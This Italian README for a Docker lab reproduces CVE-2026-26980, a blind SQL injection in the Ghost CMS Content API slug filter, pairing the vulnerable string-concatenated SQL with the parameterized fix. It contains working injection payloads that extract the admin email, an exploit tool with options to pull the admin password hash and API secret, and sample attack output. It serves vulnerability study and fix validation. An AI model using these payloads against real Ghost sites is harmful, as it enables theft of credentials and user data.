// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (VULNERABILE)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;

Filtro:  slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
                ^                                          ^
                NQL passa gli apici come caratteri letterali

CASE
  WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
  WHEN `tags`.`slug` = 'news' THEN 1
END ASC

slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]

// CORRETTO
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);

# Clona ed entra nel lab
git clone <questo-repo> && cd ghost-cve-2026-26980

# Installa la dipendenza Python
pip install -r requirements.txt

# Avvia l'istanza Ghost vulnerabile (6.18.0 + MySQL 8)
docker compose up -d

# Attendi ~45 secondi per l'inizializzazione di Ghost, poi esegui l'exploit
python3 exploit.py --url http://localhost:2368

# Avvia anche il Ghost 6.19.1 corretto sulla porta 2369
docker compose --profile fixed up -d

# Attendi ~45 secondi, poi conferma che la correzione blocca l'iniezione
python3 exploit.py --url http://localhost:2369 --validate-fix

bash validate.sh

docker compose --profile fixed down -v

usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
                  [--extract-api-key] [--content-key KEY] [-v]

options:
  --url URL            URL di Ghost (predefinito: http://localhost:2368)
  --validate-fix       Conferma che il target NON è vulnerabile
  --extract-password   Estrae anche l'hash bcrypt dell'admin
  --extract-api-key    Estrae anche il segreto API dell'admin
  --content-key KEY    Salta la configurazione, usa direttamente questa chiave della Content API
  -v, --verbose        Mostra i risultati dell'oracolo per ogni query

====================================================
CVE-2026-26980 — SQL Injection nella Content API di Ghost CMS
====================================================

[*] Attesa che Ghost sia pronto su http://localhost:2368
[*] Configurazione di Ghost (admin: [email protected])
[+] Configurazione completata — creazione sessione
[+] Accesso effettuato
[+] Chiave della Content API: ad63c06a71457583ea58f050c1
[+] Slug di ancoraggio: news

[*] Fase 1 — verifica blind booleana
  CASE WHEN 1=1:  200 (TRUE)
  CASE WHEN 1=0:  500 (FALSE)
  [+] Oracolo booleano confermato — VULNERABILE

[*] Fase 2a — estrazione email admin
  Misurazione lunghezza email admin... 21 caratteri
  Estrazione: [email protected]
  [+] Email: [email protected]

============================================================
  RIEPILOGO SFRUTTAMENTO
============================================================
  Target:        http://localhost:2368
  CVE:           CVE-2026-26980
  Chiave Content:   ad63c06a71457583ea58f050c1
  Email admin:   [email protected]
============================================================

.
├── README.md              # Questo file
├── docker-compose.yml     # Ghost 6.18.0 (vulnerabile) + 6.19.1 (corretto) con MySQL 8
├── exploit.py             # PoC completo: configurazione, verifica, estrazione
├── validate.sh            # Wrapper di validazione end-to-end
└── requirements.txt       # Dipendenze Python